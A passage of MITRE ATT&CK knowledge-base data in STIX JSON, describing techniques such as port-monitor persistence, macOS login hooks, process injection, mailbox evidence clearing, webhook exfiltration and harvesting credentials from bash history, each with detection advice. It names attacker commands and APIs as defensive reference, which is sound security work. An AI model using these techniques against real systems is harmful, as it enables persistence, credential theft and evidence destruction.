Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Stefan Kanthak", "Travis Smith, Tripwire", "Harun K\u00fc\u00dfner"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "File: File Creation", "Module: Module Load", "Process: OS API Execution"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_permissions_required": ["SYSTEM", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "created": "2020-01-24T19:46:27.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/010", "external_id": "T1547.010"}, {"source_name": "Bloxham", "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.", "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"}, {"source_name": "AddMonitor", "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/dd183341"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T20:56:32.743Z", "name": "Clear Mailbox Data", "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Liran Ravich, CardinalOps"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "Google Workspace"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Application Log: Application Log Content", "File: File Deletion", "File: File Modification", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", "created": "2022-07-08T21:04:03.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/008", "external_id": "T1070.008"}, {"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}, {"source_name": "mailx man page", "description": "Michael Kerrisk. (2021, August 27). mailx(1p) \u2014 Linux manual page. Retrieved June 10, 2022.", "url": "https://man7.org/linux/man-pages/man1/mailx.1p.html"}, {"source_name": "ExchangePowerShell Module", "description": "Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes"}, {"source_name": "Microsoft OAuth Spam 2022", "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", "created": "2020-01-10T16:01:15.995Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1037.002", "url": "https://attack.mitre.org/techniques/T1037/002"}, {"source_name": "Login Scripts Apple Dev", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html", "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022."}, {"source_name": "LoginWindowScripts Apple Dev", "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts", "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022."}, {"source_name": "Wardle Persistence Chapter", "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."}, {"source_name": "S1 macOs Persistence", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", "modified": "2022-04-20T16:42:05.094Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Login Hook", "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Creation", "File: File Modification", "Process: Process Creation", "Command: Command Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-01T02:28:45.147Z", "name": "Content Injection", "description": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Process: Process Creation", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c", "created": "2023-09-01T21:03:13.406Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1659", "external_id": "T1659"}, {"source_name": "EFF China GitHub Attack", "description": "Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.", "url": "https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"}, {"source_name": "ESET MoustachedBouncer", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}, {"source_name": "Kaspersky Encyclopedia MiTM", "description": "Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.", "url": "https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"}, {"source_name": "Kaspersky ManOnTheSide", "description": "Starikova, A. (2023, February 14). Man-on-the-side \u2013 peculiar attack. Retrieved September 1, 2023.", "url": "https://usa.kaspersky.com/blog/man-on-the-side/27854/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:45.488Z", "name": "Process Injection", "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Anastasios Pingios", "Christiaan Beek, @ChristiaanBeek", "Ryan Becwar"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Access", "Process: Process Modification", "File: File Modification", "Process: Process Metadata", "File: File Metadata", "Process: OS API Execution", "Module: Module Load"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"], "type": "attack-pattern", "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "created": "2017-05-31T21:30:47.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055", "external_id": "T1055"}, {"source_name": "GNU Acct", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", "url": "https://www.gnu.org/software/acct/"}, {"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}, {"source_name": "RHEL auditd", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"}, {"source_name": "ArtOfMemoryForensics", "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."}, {"source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"}, {"source_name": "Chokepoint preload rootkits", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2023-10-12T05:22:59.079Z", "name": "Exfiltration Over Webhook", "description": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["Yossi Weizman, Microsoft Threat Intelligence", "Sunders Bruskin, Microsoft Threat Intelligence"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux", "SaaS", "Office 365", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Application Log: Application Log Content", "Command: Command Execution", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", "created": "2023-07-20T15:30:55.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567/004", "external_id": "T1567.004"}, {"source_name": "Checkmarx Webhooks", "description": " Jossef Harush Kadouri. (2022, March 7). Webhook Party \u2014 Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.", "url": "https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191"}, {"source_name": "CyberArk Labs Discord", "description": "CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.", "url": "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord"}, {"source_name": "Discord Intro to Webhooks", "description": "D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.", "url": "https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks"}, {"source_name": "Microsoft SQL Server", "description": "Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.", "url": "https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/"}, {"source_name": "Talos Discord Webhook Abuse", "description": "Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.", "url": "https://blog.talosintelligence.com/collab-app-abuse/"}, {"source_name": "Push Security SaaS Attacks Repository Webhooks", "description": "Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.", "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md"}, {"source_name": "RedHat Webhooks", "description": "RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.", "url": "https://www.redhat.com/en/topics/automation/what-is-a-webhook"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1139", "url": "https://attack.mitre.org/techniques/T1139"}, {"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", "source_name": "External to DA, the OS X Way"}], "modified": "2020-02-04T13:03:03.354Z", "name": "Bash History", "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2022-10-19T23:08:40.603Z", "name": "Traffic Signaling", "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)", "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_is_subtechnique": false, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.4", "x_mitre_contributors": ["Tony Lee", "Josh Day, Gigamon"], "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation", "Process: Process Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_defense_bypassed": ["Defensive network service scanning"], "type": "attack-pattern", "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1205", "external_id": "T1205"}, {"source_name": "Bleeping Computer - Ryuk WoL", "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.", "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"}, {"source_name": "AMD Magic Packet", "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.", "url": "https://www.amd.com/system/files/TechDocs/20213.pdf"}, {"source_name": "Mandiant - Synful Knock", "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.", "url": "https://www.mandiant.com/resources/synful-knock-acis"}, {"source_name": "Cisco Synful Knock Evolution", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"}, {"source_name": "Hartrell cd00r 2002", "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"}, {"source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"}, {"source_name": "GitLab WakeOnLAN", "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.", "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-27T18:32:11.219Z", "name": "Direct Cloud VM Connections", "description": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Thanabodi Phrakhun, @naikordian"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09", "created": "2023-06-02T15:27:55.412Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/008", "external_id": "T1021.008"}, {"source_name": "EC2 Instance Connect", "description": "AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html"}, {"source_name": "AWS System Manager", "description": "AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.", "url": 